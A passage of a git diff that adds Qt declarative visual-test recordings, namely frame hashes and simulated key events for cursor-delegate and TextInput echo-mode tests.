+ }
+ Frame {
+ msec: 3632
+ hash: "062091bc7a5f3296c669614318b80fe7"
+ }
+ Frame {
+ msec: 3648
+ hash: "5b1b45e75f5a829b31c0b6eb0189da7c"
+ }
+ Frame {
+ msec: 3664
+ hash: "1dddd18a4ef66df9d9b431b2860e24d1"
+ }
+ Frame {
+ msec: 3680
+ hash: "d6218c8bb4da9d62bdb5d0cf5d7f8e37"
+ }
+ Frame {
+ msec: 3696
+ hash: "236e54ae31e5ee3d08a7bc9aeaef0d9b"
+ }
+ Frame {
+ msec: 3712
+ hash: "585ad3efb7330de889b8cf56a51a0899"
+ }
+ Frame {
+ msec: 3728
+ hash: "c0eb56c72311263d892ce65331547531"
+ }
+ Frame {
+ msec: 3744
+ hash: "a2e1dea5e5f37697c7ce1a9419b94f65"
+ }
+ Frame {
+ msec: 3760
+ hash: "718ac9cb5ef2992b06b34e957f987b7a"
+ }
+ Frame {
+ msec: 3776
+ hash: "ae2a644f96bd7b2662ebcf4ebc33d930"
+ }
+ Frame {
+ msec: 3792
+ hash: "54d04e64af5c0a3d29f2dc8c0977ed3a"
+ }
+ Frame {
+ msec: 3808
+ hash: "8210b9cbf19f519ee34f4bb1a6afce16"
+ }
+ Frame {
+ msec: 3824
+ hash: "e83642b0793f5a790efca65ccf20a720"
+ }
+ Frame {
+ msec: 3840
+ image: "cursorDelegate.3.png"
+ }
+ Frame {
+ msec: 3856
+ hash: "520a544fd92f17a14380803e253b396f"
+ }
+ Frame {
+ msec: 3872
+ hash: "0ac33070e0c736bc0fb5ab12fa444b5c"
+ }
+ Frame {
+ msec: 3888
+ hash: "5ee8c9dc7b238db131b3a078e46a8bbd"
+ }
+ Frame {
+ msec: 3904
+ hash: "69720bcca91f99f229aebc74c5e74261"
+ }
+ Frame {
+ msec: 3920
+ hash: "41d8f4031223f7c833d50208e231964a"
+ }
+ Frame {
+ msec: 3936
+ hash: "6fa8fd3252f367f3fafea4e3c7317a48"
+ }
+ Frame {
+ msec: 3952
+ hash: "8a1b63c42867f87a1cf4b47944b3860a"
+ }
+ Frame {
+ msec: 3968
+ hash: "8c6052eb4cf03d7742a73874d9f15285"
+ }
+ Frame {
+ msec: 3984
+ hash: "7bae45481596788afde8866a3c97edd7"
+ }
+ Frame {
+ msec: 4000
+ hash: "7bae45481596788afde8866a3c97edd7"
+ }
+ Frame {
+ msec: 4016
+ hash: "7bae45481596788afde8866a3c97edd7"
+ }
+ Frame {
+ msec: 4032
+ hash: "7bae45481596788afde8866a3c97edd7"
+ }
+ Frame {
+ msec: 4048
+ hash: "7bae45481596788afde8866a3c97edd7"
+ }
+ Frame {
+ msec: 4064
+ hash: "8c6052eb4cf03d7742a73874d9f15285"
+ }
+ Frame {
+ msec: 4080
+ hash: "8a1b63c42867f87a1cf4b47944b3860a"
+ }
+ Frame {
+ msec: 4096
+ hash: "6fa8fd3252f367f3fafea4e3c7317a48"
+ }
+ Frame {
+ msec: 4112
+ hash: "41d8f4031223f7c833d50208e231964a"
+ }
+ Frame {
+ msec: 4128
+ hash: "69720bcca91f99f229aebc74c5e74261"
+ }
+ Frame {
+ msec: 4144
+ hash: "5ee8c9dc7b238db131b3a078e46a8bbd"
+ }
+ Frame {
+ msec: 4160
+ hash: "0ac33070e0c736bc0fb5ab12fa444b5c"
+ }
+ Frame {
+ msec: 4176
+ hash: "520a544fd92f17a14380803e253b396f"
+ }
+ Frame {
+ msec: 4192
+ hash: "4a080a5154c517e6bcf24b3a1f1d7f2c"
+ }
+ Frame {
+ msec: 4208
+ hash: "e83642b0793f5a790efca65ccf20a720"
+ }
+ Frame {
+ msec: 4224
+ hash: "8210b9cbf19f519ee34f4bb1a6afce16"
+ }
+ Frame {
+ msec: 4240
+ hash: "54d04e64af5c0a3d29f2dc8c0977ed3a"
+ }
+ Frame {
+ msec: 4256
+ hash: "ae2a644f96bd7b2662ebcf4ebc33d930"
+ }
+ Frame {
+ msec: 4272
+ hash: "718ac9cb5ef2992b06b34e957f987b7a"
+ }
+ Frame {
+ msec: 4288
+ hash: "a2e1dea5e5f37697c7ce1a9419b94f65"
+ }
+ Frame {
+ msec: 4304
+ hash: "c0eb56c72311263d892ce65331547531"
+ }
+ Frame {
+ msec: 4320
+ hash: "585ad3efb7330de889b8cf56a51a0899"
+ }
+ Frame {
+ msec: 4336
+ hash: "236e54ae31e5ee3d08a7bc9aeaef0d9b"
+ }
+ Frame {
+ msec: 4352
+ hash: "d6218c8bb4da9d62bdb5d0cf5d7f8e37"
+ }
+ Frame {
+ msec: 4368
+ hash: "1dddd18a4ef66df9d9b431b2860e24d1"
+ }
+ Frame {
+ msec: 4384
+ hash: "5b1b45e75f5a829b31c0b6eb0189da7c"
+ }
+ Frame {
+ msec: 4400
+ hash: "062091bc7a5f3296c669614318b80fe7"
+ }
+ Frame {
+ msec: 4416
+ hash: "836f37fe92a46233640e0bd2c0932fea"
+ }
+ Frame {
+ msec: 4432
+ hash: "f14ec1544a380fc9993b39754c23c2f4"
+ }
+ Frame {
+ msec: 4448
+ hash: "bd5b206097f30dfce884a8c74856857d"
+ }
+ Frame {
+ msec: 4464
+ hash: "592ac5bbf1c4b3a360be4d76c40a2be2"
+ }
+ Frame {
+ msec: 4480
+ hash: "f243d823fc9977e69a008010d8db8a01"
+ }
+ Frame {
+ msec: 4496
+ hash: "ffc2da2e4c091eadaa9746b42b56d9e4"
+ }
+ Frame {
+ msec: 4512
+ hash: "ebae1fb540c6ff6b0bc9a951391e2e94"
+ }
+ Frame {
+ msec: 4528
+ hash: "097ab9a1a1fe9743f162f57b93599fe7"
+ }
+ Frame {
+ msec: 4544
+ hash: "61a3475bef5fd276b836cf3483526f57"
+ }
+ Frame {
+ msec: 4560
+ hash: "a63e2438a9cd412c2b119cd42b11009f"
+ }
+ Frame {
+ msec: 4576
+ hash: "87c129a5bf08536d3fca90375283e26b"
+ }
+ Frame {
+ msec: 4592
+ hash: "445de6663e80d1fe1527ec5acf4ec1de"
+ }
+ Frame {
+ msec: 4608
+ hash: "b5ec22f95abb43c83533f7dc606667f6"
+ }
+ Frame {
+ msec: 4624
+ hash: "874a65c2069f4ba89301c129f884f217"
+ }
+ Frame {
+ msec: 4640
+ hash: "700bd56ecea646bbec2017007bbb5b84"
+ }
+ Frame {
+ msec: 4656
+ hash: "4267354fe0d24597bdb5ee1a6e9affbb"
+ }
+ Frame {
+ msec: 4672
+ hash: "135b2b0f4e469b207e673d1e7086cd4f"
+ }
+ Frame {
+ msec: 4688
+ hash: "d08dc22ddc707316483f09b796ea0380"
+ }
+ Frame {
+ msec: 4704
+ hash: "114ad78597ede2afc4dd8bafa1d4df21"
+ }
+ Frame {
+ msec: 4720
+ hash: "ec1b4c71f9bd63ccf6d766b0b2f68b30"
+ }
+ Frame {
+ msec: 4736
+ hash: "cc1767ec13803959333cd35bfb2d9119"
+ }
+ Frame {
+ msec: 4752
+ hash: "0f113c0263faa47428c4d16891ac4d4f"
+ }
+ Frame {
+ msec: 4768
+ hash: "5381cde4763aa45c97793124e42db6f5"
+ }
+ Frame {
+ msec: 4784
+ hash: "99940d6744ac1245f82d62f08c371285"
+ }
+ Frame {
+ msec: 4800
+ image: "cursorDelegate.4.png"
+ }
+ Frame {
+ msec: 4816
+ hash: "77bbed46c7eb023252cdd80d0a15f38a"
+ }
+ Frame {
+ msec: 4832
+ hash: "36ee4da72825e96d5f670c94865a30d8"
+ }
+ Frame {
+ msec: 4848
+ hash: "c64d56c1b7df0a5c63ab8ff08ae6daf9"
+ }
+ Frame {
+ msec: 4864
+ hash: "942e038a3426fa318212a8f245141225"
+ }
+ Frame {
+ msec: 4880
+ hash: "c033ebaee12dd8fe953e91160f986c3d"
+ }
+ Frame {
+ msec: 4896
+ hash: "07e64024cf7eda082297f6f83dba8067"
+ }
+ Frame {
+ msec: 4912
+ hash: "b33cd5bbb90d435dd7ea3ab67bef88ee"
+ }
+ Frame {
+ msec: 4928
+ hash: "90712efd7c17b0ad33d2c2c02e9eaa97"
+ }
+ Frame {
+ msec: 4944
+ hash: "7e2e55555ee2c7e172e61ddb6365355d"
+ }
+ Frame {
+ msec: 4960
+ hash: "87ca0584879b25336a1023ac3252fc9a"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/echoMode.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/echoMode.qml
new file mode 100644
index 00000000..707734ab
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/echoMode.qml
@@ -0,0 +1,1043 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ hash: "b73bd9c2fef8812591fff9f43b73da13"
+ }
+ Frame {
+ msec: 32
+ hash: "b73bd9c2fef8812591fff9f43b73da13"
+ }
+ Key {
+ type: 6
+ key: 16777248
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 48
+ hash: "b73bd9c2fef8812591fff9f43b73da13"
+ }
+ Frame {
+ msec: 64
+ hash: "b73bd9c2fef8812591fff9f43b73da13"
+ }
+ Frame {
+ msec: 80
+ hash: "b73bd9c2fef8812591fff9f43b73da13"
+ }
+ Frame {
+ msec: 96
+ hash: "b73bd9c2fef8812591fff9f43b73da13"
+ }
+ Frame {
+ msec: 112
+ hash: "b73bd9c2fef8812591fff9f43b73da13"
+ }
+ Frame {
+ msec: 128
+ hash: "b73bd9c2fef8812591fff9f43b73da13"
+ }
+ Frame {
+ msec: 144
+ hash: "b73bd9c2fef8812591fff9f43b73da13"
+ }
+ Frame {
+ msec: 160
+ hash: "b73bd9c2fef8812591fff9f43b73da13"
+ }
+ Frame {
+ msec: 176
+ hash: "b73bd9c2fef8812591fff9f43b73da13"
+ }
+ Frame {
+ msec: 192
+ hash: "b73bd9c2fef8812591fff9f43b73da13"
+ }
+ Frame {
+ msec: 208
+ hash: "b73bd9c2fef8812591fff9f43b73da13"
+ }
+ Frame {
+ msec: 224
+ hash: "b73bd9c2fef8812591fff9f43b73da13"
+ }
+ Frame {
+ msec: 240
+ hash: "b73bd9c2fef8812591fff9f43b73da13"
+ }
+ Frame {
+ msec: 256
+ hash: "b73bd9c2fef8812591fff9f43b73da13"
+ }
+ Frame {
+ msec: 272
+ hash: "b73bd9c2fef8812591fff9f43b73da13"
+ }
+ Frame {
+ msec: 288
+ hash: "b73bd9c2fef8812591fff9f43b73da13"
+ }
+ Frame {
+ msec: 304
+ hash: "b73bd9c2fef8812591fff9f43b73da13"
+ }
+ Frame {
+ msec: 320
+ hash: "b73bd9c2fef8812591fff9f43b73da13"
+ }
+ Frame {
+ msec: 336
+ hash: "b73bd9c2fef8812591fff9f43b73da13"
+ }
+ Frame {
+ msec: 352
+ hash: "b73bd9c2fef8812591fff9f43b73da13"
+ }
+ Key {
+ type: 6
+ key: 74
+ modifiers: 33554432
+ text: "4a"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 368
+ hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125"
+ }
+ Frame {
+ msec: 384
+ hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125"
+ }
+ Frame {
+ msec: 400
+ hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125"
+ }
+ Frame {
+ msec: 416
+ hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125"
+ }
+ Frame {
+ msec: 432
+ hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125"
+ }
+ Key {
+ type: 7
+ key: 74
+ modifiers: 33554432
+ text: "4a"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 448
+ hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125"
+ }
+ Frame {
+ msec: 464
+ hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125"
+ }
+ Frame {
+ msec: 480
+ hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125"
+ }
+ Frame {
+ msec: 496
+ hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125"
+ }
+ Frame {
+ msec: 512
+ hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125"
+ }
+ Frame {
+ msec: 528
+ hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125"
+ }
+ Key {
+ type: 7
+ key: 16777248
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 544
+ hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125"
+ }
+ Frame {
+ msec: 560
+ hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125"
+ }
+ Frame {
+ msec: 576
+ hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125"
+ }
+ Frame {
+ msec: 592
+ hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125"
+ }
+ Frame {
+ msec: 608
+ hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125"
+ }
+ Frame {
+ msec: 624
+ hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125"
+ }
+ Frame {
+ msec: 640
+ hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125"
+ }
+ Frame {
+ msec: 656
+ hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125"
+ }
+ Frame {
+ msec: 672
+ hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125"
+ }
+ Frame {
+ msec: 688
+ hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125"
+ }
+ Key {
+ type: 6
+ key: 65
+ modifiers: 0
+ text: "61"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 704
+ hash: "fbc09d695e0b47aae6e977c13f535bfd"
+ }
+ Frame {
+ msec: 720
+ hash: "fbc09d695e0b47aae6e977c13f535bfd"
+ }
+ Frame {
+ msec: 736
+ hash: "fbc09d695e0b47aae6e977c13f535bfd"
+ }
+ Frame {
+ msec: 752
+ hash: "fbc09d695e0b47aae6e977c13f535bfd"
+ }
+ Frame {
+ msec: 768
+ hash: "fbc09d695e0b47aae6e977c13f535bfd"
+ }
+ Key {
+ type: 7
+ key: 65
+ modifiers: 0
+ text: "61"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 784
+ hash: "fbc09d695e0b47aae6e977c13f535bfd"
+ }
+ Frame {
+ msec: 800
+ hash: "fbc09d695e0b47aae6e977c13f535bfd"
+ }
+ Frame {
+ msec: 816
+ hash: "fbc09d695e0b47aae6e977c13f535bfd"
+ }
+ Frame {
+ msec: 832
+ hash: "fbc09d695e0b47aae6e977c13f535bfd"
+ }
+ Frame {
+ msec: 848
+ hash: "fbc09d695e0b47aae6e977c13f535bfd"
+ }
+ Key {
+ type: 6
+ key: 67
+ modifiers: 0
+ text: "63"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 864
+ hash: "a4b81c526a5bf8902fde9b8721980977"
+ }
+ Frame {
+ msec: 880
+ hash: "a4b81c526a5bf8902fde9b8721980977"
+ }
+ Frame {
+ msec: 896
+ hash: "a4b81c526a5bf8902fde9b8721980977"
+ }
+ Key {
+ type: 7
+ key: 67
+ modifiers: 0
+ text: "63"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 912
+ hash: "a4b81c526a5bf8902fde9b8721980977"
+ }
+ Frame {
+ msec: 928
+ hash: "a4b81c526a5bf8902fde9b8721980977"
+ }
+ Frame {
+ msec: 944
+ hash: "a4b81c526a5bf8902fde9b8721980977"
+ }
+ Frame {
+ msec: 960
+ image: "echoMode.0.png"
+ }
+ Frame {
+ msec: 976
+ hash: "a4b81c526a5bf8902fde9b8721980977"
+ }
+ Key {
+ type: 6
+ key: 75
+ modifiers: 0
+ text: "6b"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 992
+ hash: "d072aebc2314a149a856634786b208a0"
+ }
+ Frame {
+ msec: 1008
+ hash: "d072aebc2314a149a856634786b208a0"
+ }
+ Frame {
+ msec: 1024
+ hash: "d072aebc2314a149a856634786b208a0"
+ }
+ Frame {
+ msec: 1040
+ hash: "d072aebc2314a149a856634786b208a0"
+ }
+ Key {
+ type: 7
+ key: 75
+ modifiers: 0
+ text: "6b"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1056
+ hash: "d072aebc2314a149a856634786b208a0"
+ }
+ Frame {
+ msec: 1072
+ hash: "d072aebc2314a149a856634786b208a0"
+ }
+ Frame {
+ msec: 1088
+ hash: "d072aebc2314a149a856634786b208a0"
+ }
+ Frame {
+ msec: 1104
+ hash: "d072aebc2314a149a856634786b208a0"
+ }
+ Frame {
+ msec: 1120
+ hash: "d072aebc2314a149a856634786b208a0"
+ }
+ Frame {
+ msec: 1136
+ hash: "d072aebc2314a149a856634786b208a0"
+ }
+ Frame {
+ msec: 1152
+ hash: "d072aebc2314a149a856634786b208a0"
+ }
+ Frame {
+ msec: 1168
+ hash: "d072aebc2314a149a856634786b208a0"
+ }
+ Frame {
+ msec: 1184
+ hash: "d072aebc2314a149a856634786b208a0"
+ }
+ Frame {
+ msec: 1200
+ hash: "d072aebc2314a149a856634786b208a0"
+ }
+ Frame {
+ msec: 1216
+ hash: "d072aebc2314a149a856634786b208a0"
+ }
+ Frame {
+ msec: 1232
+ hash: "d072aebc2314a149a856634786b208a0"
+ }
+ Key {
+ type: 6
+ key: 68
+ modifiers: 0
+ text: "64"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1248
+ hash: "94defec2865529f185d02cfcbfe166cc"
+ }
+ Frame {
+ msec: 1264
+ hash: "94defec2865529f185d02cfcbfe166cc"
+ }
+ Frame {
+ msec: 1280
+ hash: "94defec2865529f185d02cfcbfe166cc"
+ }
+ Key {
+ type: 7
+ key: 68
+ modifiers: 0
+ text: "64"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1296
+ hash: "94defec2865529f185d02cfcbfe166cc"
+ }
+ Frame {
+ msec: 1312
+ hash: "94defec2865529f185d02cfcbfe166cc"
+ }
+ Frame {
+ msec: 1328
+ hash: "94defec2865529f185d02cfcbfe166cc"
+ }
+ Key {
+ type: 6
+ key: 65
+ modifiers: 0
+ text: "61"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1344
+ hash: "f625a2a82879df96141000e6931d4487"
+ }
+ Frame {
+ msec: 1360
+ hash: "f625a2a82879df96141000e6931d4487"
+ }
+ Frame {
+ msec: 1376
+ hash: "f625a2a82879df96141000e6931d4487"
+ }
+ Frame {
+ msec: 1392
+ hash: "f625a2a82879df96141000e6931d4487"
+ }
+ Frame {
+ msec: 1408
+ hash: "f625a2a82879df96141000e6931d4487"
+ }
+ Frame {
+ msec: 1424
+ hash: "f625a2a82879df96141000e6931d4487"
+ }
+ Frame {
+ msec: 1440
+ hash: "f625a2a82879df96141000e6931d4487"
+ }
+ Frame {
+ msec: 1456
+ hash: "f625a2a82879df96141000e6931d4487"
+ }
+ Frame {
+ msec: 1472
+ hash: "f625a2a82879df96141000e6931d4487"
+ }
+ Key {
+ type: 7
+ key: 65
+ modifiers: 0
+ text: "61"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1488
+ hash: "f625a2a82879df96141000e6931d4487"
+ }
+ Key {
+ type: 6
+ key: 87
+ modifiers: 0
+ text: "77"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1504
+ hash: "1cf29837a4ea63bbb06c15382680d1b6"
+ }
+ Frame {
+ msec: 1520
+ hash: "1cf29837a4ea63bbb06c15382680d1b6"
+ }
+ Frame {
+ msec: 1536
+ hash: "1cf29837a4ea63bbb06c15382680d1b6"
+ }
+ Frame {
+ msec: 1552
+ hash: "1cf29837a4ea63bbb06c15382680d1b6"
+ }
+ Key {
+ type: 7
+ key: 87
+ modifiers: 0
+ text: "77"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1568
+ hash: "1cf29837a4ea63bbb06c15382680d1b6"
+ }
+ Frame {
+ msec: 1584
+ hash: "1cf29837a4ea63bbb06c15382680d1b6"
+ }
+ Frame {
+ msec: 1600
+ hash: "1cf29837a4ea63bbb06c15382680d1b6"
+ }
+ Frame {
+ msec: 1616
+ hash: "1cf29837a4ea63bbb06c15382680d1b6"
+ }
+ Frame {
+ msec: 1632
+ hash: "1cf29837a4ea63bbb06c15382680d1b6"
+ }
+ Frame {
+ msec: 1648
+ hash: "1cf29837a4ea63bbb06c15382680d1b6"
+ }
+ Key {
+ type: 6
+ key: 83
+ modifiers: 0
+ text: "73"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1664
+ hash: "6eabb6d168ecc9ac604dcf2db0075380"
+ }
+ Frame {
+ msec: 1680
+ hash: "6eabb6d168ecc9ac604dcf2db0075380"
+ }
+ Frame {
+ msec: 1696
+ hash: "6eabb6d168ecc9ac604dcf2db0075380"
+ }
+ Frame {
+ msec: 1712
+ hash: "6eabb6d168ecc9ac604dcf2db0075380"
+ }
+ Frame {
+ msec: 1728
+ hash: "6eabb6d168ecc9ac604dcf2db0075380"
+ }
+ Key {
+ type: 6
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1744
+ hash: "6eabb6d168ecc9ac604dcf2db0075380"
+ }
+ Key {
+ type: 7
+ key: 83
+ modifiers: 0
+ text: "73"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1760
+ hash: "6eabb6d168ecc9ac604dcf2db0075380"
+ }
+ Frame {
+ msec: 1776
+ hash: "6eabb6d168ecc9ac604dcf2db0075380"
+ }
+ Frame {
+ msec: 1792
+ hash: "6eabb6d168ecc9ac604dcf2db0075380"
+ }
+ Key {
+ type: 7
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1808
+ hash: "6eabb6d168ecc9ac604dcf2db0075380"
+ }
+ Frame {
+ msec: 1824
+ hash: "6eabb6d168ecc9ac604dcf2db0075380"
+ }
+ Frame {
+ msec: 1840
+ hash: "6eabb6d168ecc9ac604dcf2db0075380"
+ }
+ Frame {
+ msec: 1856
+ hash: "6eabb6d168ecc9ac604dcf2db0075380"
+ }
+ Key {
+ type: 6
+ key: 76
+ modifiers: 0
+ text: "6c"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1872
+ hash: "cb2dc1c4fc4e213841b873561f404a4f"
+ }
+ Frame {
+ msec: 1888
+ hash: "cb2dc1c4fc4e213841b873561f404a4f"
+ }
+ Frame {
+ msec: 1904
+ hash: "cb2dc1c4fc4e213841b873561f404a4f"
+ }
+ Frame {
+ msec: 1920
+ image: "echoMode.1.png"
+ }
+ Key {
+ type: 7
+ key: 76
+ modifiers: 0
+ text: "6c"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1936
+ hash: "cb2dc1c4fc4e213841b873561f404a4f"
+ }
+ Frame {
+ msec: 1952
+ hash: "cb2dc1c4fc4e213841b873561f404a4f"
+ }
+ Frame {
+ msec: 1968
+ hash: "cb2dc1c4fc4e213841b873561f404a4f"
+ }
+ Frame {
+ msec: 1984
+ hash: "cb2dc1c4fc4e213841b873561f404a4f"
+ }
+ Frame {
+ msec: 2000
+ hash: "cb2dc1c4fc4e213841b873561f404a4f"
+ }
+ Frame {
+ msec: 2016
+ hash: "cb2dc1c4fc4e213841b873561f404a4f"
+ }
+ Key {
+ type: 6
+ key: 79
+ modifiers: 0
+ text: "6f"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2032
+ hash: "c2aff1ebdee69cca7dc67a102fce5e8e"
+ }
+ Frame {
+ msec: 2048
+ hash: "c2aff1ebdee69cca7dc67a102fce5e8e"
+ }
+ Key {
+ type: 7
+ key: 79
+ modifiers: 0
+ text: "6f"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2064
+ hash: "c2aff1ebdee69cca7dc67a102fce5e8e"
+ }
+ Frame {
+ msec: 2080
+ hash: "c2aff1ebdee69cca7dc67a102fce5e8e"
+ }
+ Key {
+ type: 6
+ key: 86
+ modifiers: 0
+ text: "76"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2096
+ hash: "c82441813af6ff577687f29f6a09da38"
+ }
+ Frame {
+ msec: 2112
+ hash: "c82441813af6ff577687f29f6a09da38"
+ }
+ Frame {
+ msec: 2128
+ hash: "c82441813af6ff577687f29f6a09da38"
+ }
+ Frame {
+ msec: 2144
+ hash: "c82441813af6ff577687f29f6a09da38"
+ }
+ Key {
+ type: 6
+ key: 69
+ modifiers: 0
+ text: "65"
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 7
+ key: 86
+ modifiers: 0
+ text: "76"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2160
+ hash: "d7da9862980b99e97a1fcd1b5c4c976f"
+ }
+ Frame {
+ msec: 2176
+ hash: "d7da9862980b99e97a1fcd1b5c4c976f"
+ }
+ Frame {
+ msec: 2192
+ hash: "d7da9862980b99e97a1fcd1b5c4c976f"
+ }
+ Frame {
+ msec: 2208
+ hash: "d7da9862980b99e97a1fcd1b5c4c976f"
+ }
+ Key {
+ type: 6
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2224
+ hash: "d7da9862980b99e97a1fcd1b5c4c976f"
+ }
+ Key {
+ type: 7
+ key: 69
+ modifiers: 0
+ text: "65"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2240
+ hash: "d7da9862980b99e97a1fcd1b5c4c976f"
+ }
+ Frame {
+ msec: 2256
+ hash: "d7da9862980b99e97a1fcd1b5c4c976f"
+ }
+ Frame {
+ msec: 2272
+ hash: "d7da9862980b99e97a1fcd1b5c4c976f"
+ }
+ Frame {
+ msec: 2288
+ hash: "d7da9862980b99e97a1fcd1b5c4c976f"
+ }
+ Frame {
+ msec: 2304
+ hash: "d7da9862980b99e97a1fcd1b5c4c976f"
+ }
+ Key {
+ type: 7
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2320
+ hash: "d7da9862980b99e97a1fcd1b5c4c976f"
+ }
+ Frame {
+ msec: 2336
+ hash: "d7da9862980b99e97a1fcd1b5c4c976f"
+ }
+ Key {
+ type: 6
+ key: 77
+ modifiers: 0
+ text: "6d"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2352
+ hash: "8f36e26d8685fe55e7a1dd294188f649"
+ }
+ Frame {
+ msec: 2368
+ hash: "8f36e26d8685fe55e7a1dd294188f649"
+ }
+ Frame {
+ msec: 2384
+ hash: "8f36e26d8685fe55e7a1dd294188f649"
+ }
+ Frame {
+ msec: 2400
+ hash: "8f36e26d8685fe55e7a1dd294188f649"
+ }
+ Frame {
+ msec: 2416
+ hash: "8f36e26d8685fe55e7a1dd294188f649"
+ }
+ Frame {
+ msec: 2432
+ hash: "8f36e26d8685fe55e7a1dd294188f649"
+ }
+ Key {
+ type: 7
+ key: 77
+ modifiers: 0
+ text: "6d"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2448
+ hash: "8f36e26d8685fe55e7a1dd294188f649"
+ }
+ Frame {
+ msec: 2464
+ hash: "8f36e26d8685fe55e7a1dd294188f649"
+ }
+ Frame {
+ msec: 2480
+ hash: "8f36e26d8685fe55e7a1dd294188f649"
+ }
+ Frame {
+ msec: 2496
+ hash: "8f36e26d8685fe55e7a1dd294188f649"
+ }
+ Key {
+ type: 6
+ key: 89
+ modifiers: 0
+ text: "79"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2512
+ hash: "316f2ba46d059755576e6822dc77afb2"
+ }
+ Frame {
+ msec: 2528
+ hash: "316f2ba46d059755576e6822dc77afb2"
+ }
+ Frame {
+ msec: 2544
+ hash: "316f2ba46d059755576e6822dc77afb2"
+ }
+ Key {
+ type: 7
+ key: 89
+ modifiers: 0
+ text: "79"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2560
+ hash: "316f2ba46d059755576e6822dc77afb2"
+ }
+ Frame {
+ msec: 2576
+ hash: "316f2ba46d059755576e6822dc77afb2"
+ }
+ Frame {
+ msec: 2592
+ hash: "316f2ba46d059755576e6822dc77afb2"
+ }
+ Frame {
+ msec: 2608
+ hash: "316f2ba46d059755576e6822dc77afb2"
+ }
+ Frame {
+ msec: 2624
+ hash: "316f2ba46d059755576e6822dc77afb2"
+ }
+ Frame {
+ msec: 2640
+ hash: "316f2ba46d059755576e6822dc77afb2"
+ }
+ Frame {
+ msec: 2656
+ hash: "316f2ba46d059755576e6822dc77afb2"
+ }
+ Frame {
+ msec: 2672
+ hash: "316f2ba46d059755576e6822dc77afb2"
+ }
+ Frame {
+ msec: 2688
+ hash: "316f2ba46d059755576e6822dc77afb2"
+ }
+ Frame {
+ msec: 2704
+ hash: "316f2ba46d059755576e6822dc77afb2"
+ }
+ Frame {
+ msec: 2720
+ hash: "316f2ba46d059755576e6822dc77afb2"
+ }
+ Frame {
+ msec: 2736
+ hash: "316f2ba46d059755576e6822dc77afb2"
+ }
+ Frame {
+ msec: 2752
+ hash: "316f2ba46d059755576e6822dc77afb2"
+ }
+ Frame {
+ msec: 2768
+ hash: "316f2ba46d059755576e6822dc77afb2"
+ }
+ Frame {
+ msec: 2784
+ hash: "316f2ba46d059755576e6822dc77afb2"
+ }
+ Frame {
+ msec: 2800
+ hash: "316f2ba46d059755576e6822dc77afb2"
+ }
+ Frame {
+ msec: 2816
+ hash: "316f2ba46d059755576e6822dc77afb2"
+ }
+ Frame {
+ msec: 2832
+ hash: "316f2ba46d059755576e6822dc77afb2"
+ }
+ Frame {
+ msec: 2848
+ hash: "316f2ba46d059755576e6822dc77afb2"
+ }
+ Frame {
+ msec: 2864
+ hash: "316f2ba46d059755576e6822dc77afb2"
+ }
+ Frame {
